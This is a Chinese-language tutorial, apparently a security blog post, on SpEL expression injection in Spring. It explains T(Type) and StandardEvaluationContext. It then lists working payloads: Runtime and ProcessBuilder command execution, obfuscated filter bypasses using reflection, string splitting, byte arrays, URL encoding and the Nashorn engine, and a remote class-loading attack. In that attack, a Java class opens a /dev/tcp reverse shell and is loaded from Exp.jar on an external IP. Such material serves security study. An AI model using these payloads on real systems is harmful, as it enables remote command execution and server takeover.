SPEL表达式注入

SPEL表达式注入

前置基础

SPEL简介

在 Spring3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SPEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。

在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。

SPEL特性

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SPEL类类型表达式T(Type)

SPEL其他简单的用法我们在这里不进行讨论,只研究一下存在攻击面的地方

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法,即可以通过类类型表达式来操作类

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,java.lang包下的类除外,因为SpEL已经内置了该包,因此该包下的类可以不指定包名。类类型表达式还可以访问类的静态方法与类静态字段

这里就已经存在潜在攻击面

Rumtime类也是包含在java.lang包中的,因此如果我们能调用Runtime.getRuntime.exec(payload),即可进行命令执行

光说很难理解,我们来写点代码来实操一下

1
2
3
4
5
6
7
8
public class Spel {
public static void main(String[] args) {
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();;
Expression result2 = parser.parseExpression(expression2);
System.out.println(result2.getValue(Class.class));
}
}

用我的话来说就是,T(Type)中的东西,会被解析成一个完完整整的类,因此我们就可以通过Runtime类来执行命令

SPEL表达式用法

SpEL的用法有三种形式,一种是在注解当中@Value;一种是XML配置中;最后一种是在代码块中使用Expression

xml配置用法

**demo.xml **文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.pojo.HelloWorld">
<property name="message" value="#{'sean'} is #{T(java.lang.Math).random()}" />
</bean>

</beans>

MainTestDemo.java 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.spel.xml;

import com.pojo.HelloWorld;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainTestDemo {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("demo.xml");
HelloWorld helloWorld = (HelloWorld) context.getBean("helloWorld");
helloWorld.getMessage();
}
}

HelloWorld 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.pojo;

public class HelloWorld {
private String message;

public void setMessage(String message){
this.message = message;
}

public void getMessage(){
System.out.println("Your Message : " + message);
}
}

运行MainTestDemo.java文件后,首先会去demo.xml文件中加载xml中的配置。实际上,经过调试发现,在加载配置时,就会进行SpEL表达式的解析,从而触发我们的payload

注解@Value用法

示例用法如下
1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

在一般情况下,这些值都写在properties的配置文件中,很少或几乎没有我们可以控制的地方

Expression用法

后续分析的SpringCVE漏洞都是基于Expression形式的SpEL表达式注入,因此这里单独说明一下该种形式的用法

步骤

Expression用法分为四步:首先构造一个解析器,其次使用解析器去解析字符串表达式,然后构造上下文,最后根据上下文得到表达式运算后的值(其中第三步可以省略)
1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParserparseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

Demo

应用的示例如下,和xml配置的用法区别为:xml配置解析时,需要界定符#{}来注明SpEL表达式,而Expression用法,会将传入parseExpression方法的字符串直接当成SpEL表达式来解析,无需注明

1
2
3
4
5
6
7
8
9
10
11
public class ExpressionCalc {// 字符串字面量  

public static void main(String[] args) {
// 操作类弹计算器,当然java.lang包下的类是可以省略包名的
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
// String spel = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

SPEL表达式漏洞注入

漏洞原理

SimpleEvaluationContext StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext

  • SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
  • StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext 是支持全部 SpEL 语法的。

SpEL表达式可以操作类及其方法,可以通过类类型表达式T(Type)来调用任意方法。因为在不指定EvaluationContext的情况下,默认采用的是<font style="color:rgb(80, 80, 92);">StandardEvaluationContext</font>,它包含了SpEL的所有功能,在允许用户输入情况下,可以造成任意命令执行

如下:

1
2
3
4
5
6
7
8
public class BasicCalc {  
public static void main(String[] args) {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

通过反射调用进行SpEL注入

这里和我们上述所利用的方式是相类似的,只是多了一步反射调用
1
2
3
4
5
6
7
8
public class ReflectBypass {  
public static void main(String[] args) {
String spel = "T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

基础Poc与Bypass

基础Poc

基础Poc如下(去除界定符):

除了常见的Runtime的命令执行方法还有<font style="color:rgb(80, 80, 92);">ProcessBuilder</font>进行命令执行,后者是前者的基础调用

1
2
3
4
5
6
7
8
9
// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

基础Bypass

常见的Bypass技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 // 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

JavaScript Engine Bypass

从别的师傅的博客了解到,可以使用js引擎来进行绕过

我们来获取一下所有js引擎信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}

我们比较关注的是下面的js引擎名称

getEngineByName 的参数可以填 [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

我们来举个例子看一下,其中eval方法就已经很明显可以执行代码

1
2
3
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));

那么payload也就很简单就可以构造出来了

1
2
3
4
5
6
7
8
9
10
11
12
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

最后也是成功执行

利用类加载攻击

UrlClassloader

这个方法就是通过远程类加载

首先构造一个恶意类(这里为反弹shell),并打包为.jar包或者编译为.class

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}

在将编译好的文件放在vps上,并起一个http服务

1
python3 -m http.server 8990

payload如下,然后监听2333端口

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://101.36.122.13:8990/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("101.36.122.13:2333")

AppClassLoader

获取ClassLoader去加载本地的类
1
2
3
4
5
6
7
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").getConstructors()[0].newInstance()";
String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}